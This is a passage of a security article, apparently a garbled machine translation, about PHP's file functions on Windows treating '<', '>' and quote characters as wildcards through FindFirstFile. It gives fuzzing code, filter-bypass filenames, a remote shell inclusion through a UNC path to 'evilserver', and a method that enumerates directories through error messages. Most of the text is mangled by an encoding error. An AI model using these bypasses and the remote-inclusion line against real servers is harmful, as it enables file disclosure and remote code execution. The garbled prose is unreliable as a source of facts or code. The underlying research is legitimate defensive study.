å®éãè匱æ§ãèŠã€ããæ¹æ³ã¯3ã€ãããŸããåµæ工倫ïŒç 究è ãå®éã«æ©èœãããã©ããã調ã¹ãããã«ããã€ãã®ããªãã¯ãæãã€ãããšãïŒããœãŒã¹ã³ãŒãåæãããã³ãã¡ãžã³ã°ã§ãã èå³æ·±ãäžåœã®ãã¡ãžã³ã°ãšãã®éçºã«ã€ããŠãç§ã®äžéšãšããŠãäŒãããããšæããŸãã
ãã¡ãžã³ã°ã¯è²Žéãªæ¯ç®ã ãã§ã¯ãããŸãã...
ããã¯ãã¹ãŠãGoogleãçºè¡ã泚æãããšããäºå®ããå§ãŸããŸãããã©ã®ãªã¯ãšã¹ããèŠããŠããªãã®ããäžåœèªã§ãµã€ãã衚瀺ããŸããïŒ http ://code.google.com/p/pasc2at/wiki/SimplifiedChineseã èå³æ·±ãããšã«ããªã¹ãã«ã¯èšäºã§å ¬éãããã°ããã®ããæè¿ã®çºèŠãå«ãŸããŠããŸããã ãã®äžã«ã¯ãç§ã®æ³šç®ãéãã以äžã®ã³ã³ãã³ãã®ã³ãŒãããããŸããã
<?php for($i=0;$i<255;$i++) { $url = '1.ph'.chr($i); $tmp = @file_get_contents($url); if(!empty($tmp)) echo chr($i)."\r\n"; } ?>
圌ã¯ç§ãæå³ãç解ããŠããªãã£ãã®ã§ç§ãåŒãä»ããŸãããã圌ã¯èª¬æã§ããªãã¿ã®win32ãã£ã©ã¯ã¿ãŒãèŠã€ããŸãã:) google.translateã䜿çšããŠããäžåœèªã®æç« ã翻蚳ããã®ã¯å¥åŠãªåš¯æ¥œã§ãã£ãããããã®ã³ãŒããWindowsã§æãã«å®è¡ããŠçµæã確èªããŸããã Windowsã®ãã¡ã€ã«ã«å°ãªããšã4ã€ã®ååïŒ1.phPã1.phpã1.ph>ã1.ph <ïŒãããããšãããã£ããšããç§ã¯é©ããŸããã ä»ã§ã¯ãäžåœèªã®æç« ã¯ç§ã«ã¯ããã»ã©é ããªãããã«èŠããGoogleã®ç¿»èš³è
ã¯ãã®æå³ãç解ããã®ãå©ããŸããã å®éããã®ãã»ã³ã¹ãã«ã¯ãã³ãŒãã®èª¬æãšãã®äœæ¥ã®çµæ以å€ã®äœç©ããããŸããã§ããã 倪ããªããšããããã§ã¯ãããŸãã-ãšã«ããïŒ ãã®ç¶æ³ã¯ç§ã«ã¯åããŠããŸããã§ããã ç§ã¯ãŸã ãããã®äžåœèªãç解ããŠããŸãã-ã©ã®æ©èœããŸã è匱ã§ãããããã®æäœãã°ãã©ã®ãããªæ©èœãæã£ãŠãããããããŠæçµçã«ã¯ãªãæ©èœããã®ããç解ããã®ã¯æ¬åœã«é¢çœããªãã§ãã
宎äŒã®ç¶ç¶ããé¡ãããŸãïŒ
æåã«ããããšã¯ã2çªç®ã®ã€ãã¬ãŒã¿ãŒãè¿œå ããæåŸã®2ãã€ãã§ãã¡ãžãŒã³ãŒããå®è¡ããããšã§ããã çµæã¯äºæž¬äžå¯èœã§ããïŒ
1.p<0 (- ) 1.p< ( ) 1.p<" 1.p<. 1.p<< 1.p>> 1.p<> 1.p>< 1.p<(p/P) 1.p>(p/P) 1.p(h/H)< 1.p(h/H)> 1.p(h/H)(p/P)
ãããããã¿ãŒã³ãã¯ã£ãããšèŠããããã«ãªããŸãã-ãã¡ã€ã«åã®æåŸã«ã¯ãããªãªããäºéåŒçšç¬Šãã¹ããŒã¹ããŒããã€ãã®æåããããŸãã ãã®äºæ³ããã¹ãããããã«ã次ã®ã³ãŒããå®è¡ããŸããã
<?php if (file_get_contents("test.php".str_repeat("\"",10).str_repeat(" ",10).str_repeat(".",10))) echo 1337; ?>
ãæ³åã®ãšããã圌ã¯1337ãè¿ããŸãããã€ãŸãããã¹ãŠãäºæž¬ã©ããã«æ©èœããŸããã ããèªäœã¯ãã§ã«ãäžè¬çãªè匱æ§ã®ã·ã³ãã«ã®æ¡åŒµã§ãããã€ã³ã¯ã«ãŒãžã§ã³ã®ãã«ãã€ãã«ä»£ãããã®ã§ãã ã€ã³ã¿ããªã¿ã®ã¢ãã¯ãç¶ããåŸããã¡ã€ã«åã®æåŸã«ã¹ã©ãã·ã¥ãä»ããæ§é ãèŠã€ãããŸãããããããåé¡ãªãèªã¿èŸŒãŸããŸããã
file\./.\. file////. file\\\. file\\.//\/\/\/.
ããã§ã¯ãã¹ãŠãæ確ã ãšæããŸãïŒãã¡ã€ã«åã®åŸã«ã¹ã©ãã·ã¥ã䜿çšããå ŽåãæåŸã«åžžã«ããªãªããå¿
èŠã§ãã ãã®å Žåãã¹ã©ãã·ã¥ãæ··åšãããããšãã§ãããããã®éã«1ã€ã®ãã€ã³ãã貌ãä»ããããšãã§ããŸãã
ãã®ãã¹ãŠã§ãäž»ãªãã®ã¯äžæ確ã§ãã-ã·ã³ãã«ã¯äœãé ããŸããïŒ
åªãã匷åãªWINAPI
ããã«æ°ã¥ããããã«ããã¡ãžã³ã°ã¯ãã®ãšã©ãŒã®æ§è³ªãç解ããŠããŸããã 䞊ã¹æ¿ãã®ç¢ºèªãŸãã¯åŒã³åºãã®è¿œè·¡ã®2ã€ã®ãªãã·ã§ã³ããããŸããã ãããã®ã¡ãœããã¯ã©ã¡ãããFindFirstFileé¢æ°ãåŒã³åºããšããåãããšãããã«æããŠããŸãã åæã«ãã³ãŒã«ã¯ãã§ã«ã¹ã¿ãã¯äžã«ãããæå>ã¯ïŒã«çœ®ãæãããã<by *ã§ã¯ãäºéåŒçšç¬Šããããã«çœ®ãæããããŸããã ãŸãã眮æã«ããããããã<didããã¡ã€ã«ãã¹ã¯å ã§åžžã«*ã®ããã«æ©èœããããã§ã¯ãããŸãããã<<ã¯åžžã«ããŸãæ©èœããŠããããšã«æ°ã¥ããã®ããšãŠã楜ããã£ãã§ãã åæã«ãäž¡æ¹ã®åŒã³åºãã¯ã¹ã¿ãã¯äžã§ãŸã£ããåãã§ããããçµæã¯ç°ãªããŸããïŒå³ãåç §ïŒã 足ãã©ãããæé·ããããå®å šã«æããã«ãªããŸããã ãããŠãèã¯MSãšããååã§Fããæ¬åœã«æé·ããŸããã
MSDNã®äœ¿çš
ããã§ãFindFirstFileé¢æ°ã®ãã®åäœãæ£åžžã§ãããã©ããããŸãã¯ããã§ãã°ãçºçãããã©ãããç解ããå¿ èŠããããŸããã ãã®è³ªåãžã®åçãããã¥ã¡ã³ãã§æ¢ãå§ããŸããïŒ msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx
ããã¥ã¡ã³ãèªäœã¯ãæå> <"ã«ã€ããŠã¯äœãèšã£ãŠããŸããããã³ã¡ã³ãã§ã¯...
ãã°ïŒïŒã€ãŸãããã®ãã°ã¯2007幎ã«ç¥ãããŠããŸããïŒ ãããŠãã¡ãŒã«ãŒã®åå¿ã¯äžè¬çã«ãã®å 容ã«è¡æçã§ãã...ã³ã¡ã³ãã¯ãããŸãã:)ã ããã«ã€ããŠã¯ãPHPã®ãã®åäœã®çç±ãå®å šã«æããã«ãªã£ãããã§ãã ãã®ãã°ã®ç¯å²ãæ¡å€§ãå§ããããšãã§ããŸãã ããŸããŸãªãªãã·ã§ã³ãè©Šããå€ãã®ããã¥ã¡ã³ããèªã¿çŽãïŒMSDNã¯éåžžã«äŸ¿å©ã§ãïŒãäœçŸãã®ã¢ã€ãã¢ãè©ŠããŸããããWINã·ã¹ãã ã®ãã¡ã€ã«åã«æå¹ãªããã€ãã®ã«ãŒã«ãç¹å®ããŸããã ããã«ãFindFirstFileã®ãã°ã¯ããã®ãã¡ã®æåã®4ã€ã«ã®ã¿å¯äžããŸãïŒãŒããã€ã³ãã¯èæ ®ããŸããïŒã ãŸããå ãèŠæ®ããŠããã®è匱æ§ã¯file_get_contentsé¢æ°ã ãã«é¢ä¿ãããã®ã§ã¯ãªããšèšããŸãã
ã<ãããã³ã>ãã®æåã¯ããã®é¢æ°ã«ãã£ãŠã¯ã€ã«ãã«ãŒãã®ããã«æ±ãããŸãã
[MSFT]-ãããã¯ããã¹ããã³ãã¡ã€ã«åã«äžæ£ãªæåãšããŠããã¡ã€ã«ã®åœåããããã¯ã«ãªã¹ããããŠããŸãã ãã®ãããã¯ã¯ããããæ確ã«ããããã«æŽæ°ãããŠããŸãã
æŽå²
2007幎10æ19æ¥
xMartian
5/2/2008
ããŒã¯ã¢ã¢ã¹-MSFT
- èšå·*ããã³ïŒ PHPãä»ããŠFindFirstFileãåŒã³åºããšãã«ããã¡ã€ã«åã§æ©èœããŸããïŒãã£ã«ã¿ãŒæžã¿ïŒã
- FindFirstFileã*ã§åŒã³åºããšãæå<ã¯çœ®ãæããããŸããã€ãŸããä»»æã®æ°ã®ä»»æã®æåã®ãã¹ã¯ã§ãã ãã®å Žåããããæ£ããæ©èœããªãå ŽåãèŠã€ãããŸããïŒå³ãåç
§ïŒã ä¿èšŒããããã¹ã¯*ã«ã¯ã<<ã䜿çšããŸãã
äŸïŒ includeïŒ 'shell <'ïŒã¯shell *ãã¡ã€ã«ãå«ã¿ãè€æ°ã®ãã¡ã€ã«ããã¹ã¯ã«è©²åœããå Žåãã¢ã«ãã¡ãããã®åã«ãããã¡ã€ã«ãæ¥ç¶ãããŸãã - FindFirstFileãåŒã³åºããšãã«ã>æåã¯ãïŒã§çœ®ãæããããŸããã€ãŸããä»»æã®1æåã§ãã
äŸ ïŒincludeïŒ 'shell.p> p'ïŒã¯shell.pïŒPãã¡ã€ã«ãã€ã³ã¯ã«ãŒãããè€æ°ã®ãã¡ã€ã«ããã¹ã¯ã«è©²åœããå Žåãã¢ã«ãã¡ãããã®åã®ãã¡ã€ã«ãæ¥ç¶ãããŸãã - FindFirstFileãããªãªãã§åŒã³åºããããšãæå "ã眮ãæããããŸãã
äŸïŒ includeïŒ 'shell' php 'ïŒã¯includeïŒ' shell.php 'ïŒãšåçã§ãã - ãã¡ã€ã«åã®æåã®æåããããã®å Žåããã®ãããã«é¢ä¿ãªãååã§ãã¡ã€ã«ãèªã¿åãããšãã§ããŸãã
äŸïŒ fopenïŒ "htaccess"ïŒã¯fopenïŒ "ãHtaccess"ïŒãšåçã§ãããããæŽç·Žãããé ç®1ã䜿çšããŠãfopenïŒ "h <<"ïŒããã¡ã€ã«åã«ã¯ã¢ã«ãã¡ãããã®2çªç®ã®æå "a"ãå«ãŸãã圌ã¯ããããæåã«ãªããŸãã - ãã¡ã€ã«åã®æåŸã«ã¯ã1ã€ãŸãã¯ç°ãªãã¿ã€ãïŒé æ¹åãšéæ¹åïŒã®ã¹ã©ãã·ã¥ã®ã·ãŒã±ã³ã¹ã䜿çšã§ããŸãããã®éã«1ã€ã®ããããæ¿å
¥ã§ããŸããæåŸã«ã¯ããã§ã¯ãªããå®éã®ãããããåžžã«å¿
èŠã§ãã
äŸïŒ fopenïŒ ""ïŒ - \\ã§å§ãŸãããã®åŸã«ããªãªã以å€ã®æåãç¶ããããã¯ãŒã¯åã䜿çšã§ããŸãã ããã¯æããã§ãããé·ãé誰ã«ã§ãç¥ãããŠããŸãã ãããã¯ãŒã¯åãååšããªãå Žåããã¡ã€ã«ã®æäœã«ããã«4ç§ããããããæéã®æºäºãšãšã©ãŒmax_execution_timeãçºçããŸãïŒèšäºã Gulchatãopen the face ããåç
§ïŒã ãŸããallow_url_fopen = Offããã€ãã¹ããŠRFIãå®è¡ããããšãã§ããŸãã
äŸïŒ includeïŒ '\\ evilserver \ shell.php'ïŒ - \\ã\ã§å§ãŸãæ¡åŒµåã䜿çšã§ããŸããããã«ããããã¡ã€ã«åã®ãã©ã€ããåãæ¿ããããšãã§ããŸãã
äŸïŒ includeïŒ '\\ã\ CïŒ\ my \ file.php \ .. \ .. \ .. \ DïŒ\ anotherfile.php'ïŒã - ã¹ã©ãã·ã¥ãã£ã«ã¿ãªã³ã°ããã€ãã¹ããã«ã¯ã代æ¿ãã£ã¹ã¯åæ§æã䜿çšã§ããŸãã
äŸïŒ file_get_contentsïŒ 'CïŒboot.ini'ïŒã¯file_get_contentsïŒ 'CïŒ/boot.ini'ïŒãšåçã§ã - çãDOSäºæã®ãã¡ã€ã«åãšãã£ã¬ã¯ããªåã䜿çšã§ããŸãã ããã¯duã ããšç§ã¯äž»åŒµããªãã ããããååã3æåããçããã¡ã€ã«ã4ã€ä»¥äžãã£ã¬ã¯ããªã«å«ãŸããŠããå Žåããã®ãããªååã«ã¯4ã€ã®16é²æåãè¿œå ãããããšã«æ³šæããŠãã ããã åæ§ã«ããã£ã¬ã¯ããªå
ã«åãæåã®2æåã§å§ãŸãååã®ãã¡ã€ã«ã4ã€ä»¥äžããå Žåããã¡ã€ã«åãå€æŽãããŸãã
åŒçšïŒå ·äœçã«ã¯ã4ã€ãè¶ ãããã¡ã€ã«ãåã6æåã®ã«ãŒãã䜿çšããå Žåããã¡ã€ã«åã®æåã®2æåã4æåã®ããã·ã¥ã³ãŒããšçµã¿åãããŠäžæã®æå®åãè¿œå ããããšã«ãããè¿œå ã®ãã¡ã€ã«åãäœæãããŸãã ãã£ã¬ã¯ããªã«ã¯ãMYFAVOã1.DOCãMYFAVOã2.DOCãMYFAVOã3.DOCãããã³MYFAVOã4.DOCãšããååã®ãã¡ã€ã«ãå«ããããšãã§ããŸãã ãã®ã«ãŒãã®è¿œå ãã¡ã€ã«ã«ã¯ãMY3140ã1.DOCãMY40C7ã1.DOCãããã³MYEACCã1.DOCãšããååãä»ããããšãã§ããŸãã
äŸïŒ in.confã®DOSåã¯IND763ã1.CONã§ããã€ãŸããfile_get_contentsè¡ïŒ '<< D763 <<'ïŒã§èªã¿åãããšãã§ããŸãããå®éã®ãã¡ã€ã«åã®ãã€ãã¯ãŸã£ããå«ãŸããŠããŸããã ãããã®4ã€ã®16é²æåãã©ã®ããã«ã«ãŠã³ãããããã¯ãã©ãã«ãèšèŒãããŠããŸãããããã¡ã€ã«åã®ã¿ã«äŸåããŠããããã§ãã - PHPã§ã¯ãã³ãã³ãã©ã€ã³ç°å¢ïŒmod_phpã§ã¯ãªãphp.exeïŒã§ãäºçŽåauxãconãprnãcom1-9ãlpt1-9ã®ãã¡ã€ã«ã®è©³çŽ°ãæ©èœããŸãã
äŸïŒ file_get_contentsïŒ 'CïŒ/tmp/con.jpg'ïŒã¯ãCONããã€ã¹ãããã«ãã€ããç¡éã«èªã¿åããEOFãåŸ æ©ããŸãã
äŸïŒ file_put_contentsïŒ 'CïŒ/tmp/con.jpg',chrïŒ0x07ïŒïŒã¯ããµãŒããŒã¹ããŒã«ãŒã«ãã£ãŠåçãããŸãïŒé³æ¥œ:)ïŒã
ã«ãŠã³ããåçããŸã
PHPã®ãœãŒã¹ãå°ãèŠããŠãããããšãã£ãŠãè匱æ§ãfile_get_contentsã®ã¿ã«é¢ä¿ããŠãããšãããã¡ãžã³ã°ã®äžã§ââã眲åã®äžåœäººãä¿¡ããããªãã£ãã®ã§ãã èãçŽãããšãªãããã¡ã€ã«ã®æäœã«é¢ããŠèŠããŠãããã¹ãŠã®æ©èœããã§ãã¯ããŸããã çµæã¯ãã©ã¹ä»¥äžã§ããã
æ©èœã«ã¯è匱æ§ãååšããŸãã
fopen file_get_contents copy parse_ini_file readfile file_put_contents mkdir tempnam touch move_uploaded_file include(_once) require(_once) ZipArchive::open()
ååšããªãïŒ
rename unlink rmdir
ããŒãã³ã°ããå ŽæããããŸããïŒ ããããããã¯ããã»ã©æªãã¯ãããŸããã
PoCïŒäœ¿çšæ¹æ³ã®ã¢ã€ãã¢
æããã«ããã®è匱æ§ã¯ãèãããããã¹ãŠã®ãã£ã«ã¿ãŒãšå¶éããã€ãã¹ããããã«äœ¿çšã§ããŸãã ããšãã°ã.htaccessãã¡ã€ã«ã®å Žåã代æ¿åã¯h <<ã«ãªããŸãïŒã»ã¯ã·ã§ã³4ããã€ã³ã1ãåç §ïŒã éåžžã2æåã®ãã¡ã€ã«ã¯ååãªãã§èªã¿åãããšãã§ããŸãïŒ9é ãåç §ïŒã ãŸããªã©ã å¥ã®èå³æ·±ãã¢ããªã±ãŒã·ã§ã³ããããŸã-ãã©ã«ããŒãšãã¡ã€ã«ã®ååã®å®çŸ©ã§ãã
äŸãèããŠã¿ãŸãããïŒ
<?php file_get_contents("/images/".$_GET['a'].".jpg"); ?>
ãã®ã³ãŒãã䜿çšãããšãWebãµãŒããŒãã£ã¬ã¯ããªã®ãªã¹ããéåžžã«ç°¡åã«ååŸã§ããŸãã
ãªã¯ãšã¹ãtest.phpïŒA = .. / a <ïŒ 00ãéä¿¡ãã次ã®ãããªçããååŸããŸã
Warning: include(/images/../a<) [function.include]: failed to open stream: Invalid argument in ...
ãŸãã¯
Warning: include(/images/../a<) [function.include]: failed to open stream: Permission denied ...
æåã®ã±ãŒã¹ã§ã¯ããµãŒããŒã¯ã«ãŒãã®æåãaãã§å§ãŸãåäžã®ãã£ã¬ã¯ããªãèŠã€ããããŸããã§ããã
次ã«ã2çªç®ã®æåã®éžæãéå§ã§ããŸãã é«éåããããã«ãé³å£°åŠã䜿çšã§ããŸãïŒèšäºãããé«éã§é«éãã€é«éãSQLã€ã³ãžã§ã¯ã·ã§ã³ã®æäœã«å¯Ÿããé©æ°çãªã¢ãããŒãããåç §ããŠãã ããïŒã ãã©ã€ã³ãSQLã€ã³ãžã§ã¯ã·ã§ã³ã掻çšããããã®å€ãè¯ãææ³ã¯æ©èœããŸãã
å®éšäžã«ããµãŒããŒããšã©ãŒã¡ãã»ãŒãžã§èŠã€ãã£ããã¹ãããã«è¡šç€ºããããšããããŸããã 次ã«ããã£ã¬ã¯ããªãåãæåã§å§ãŸãå Žåã«ã®ã¿éžæããå¿ èŠããããŸãã ãšã©ãŒã®çµè«ãäœã«äŸåããããç§ã¯ãããç解ãããããè£å€ã®ããã«å ¬éããæéãæã£ãŠããŸããã§ããã
åæ çãªäœè«
ããžã·ã£ã³ã¯4æ19æ¥ã«æ©ãããWebã¢ããªã±ãŒã·ã§ã³ãæ»æããæ¢ç¥ã®ææ³ããšããèšäºã§ãããçºè¡šããäžåœäººããã®ã¬ããŒããçºèŠããŸãããããã®è匱æ§ã«ã€ããŠã¯èª¬æã匷調ããããŸããã§ãããå§ããŸããã
é埳
æ£çŽãªãšãããç§ã¯æ¬åœã«ãã«ãã€ãã«ä»£ãããã®ãèŠã€ãããã£ãã®ã§ãããç¡é§ã§ããã ãããããã®è匱æ§ã¯ãä»ã®æ»æãšåæ§ã«èå³æ·±ãæ»æã®ç¯å²ãåºããŸãã å®éããã¡ã€ã«ãæäœããæ©èœãéããŠãã£ã¬ã¯ããªãšãã¡ã€ã«ãæ€çŽ¢ããæ©èœãæäŸããŸãã ããã¯ããèªäœããŠããŒã¯ãªçŸè±¡ã§ãã ãã¡ãžã³ã°ã§äžåœäººã«æ¬æãæããããããŸããããç§ã¯åœŒããšä»ã®ãã¹ãŠã®äººã«ããã®ããã«ããŠåŸãããçããŒã¿ã調æ»ããããšãå§ããŸãã ãã¡ãžã³ã°ã§ãããé ã§èããå¿ èŠããããŸãã
䟿å©ãªãªã³ã¯ïŒ
- FindFirstFileé¢æ°ã®ããã¥ã¡ã³ã
- ãã¡ã€ã«åã®æå®ïŒããããåŠãã å€ãã®ããªãã¯ïŒ
- Windowsã®ççž®ãã¡ã€ã«æ å ±
- èšäºã®èè ã®ããã°ïŒè³ªåãžã®åçãå¯èœãªéãã®æžã蟌ã¿ïŒ
ãŠã©ãžããŒã«ãd0znpãããã³ãã©ã
ããã«ãŒã賌èªãã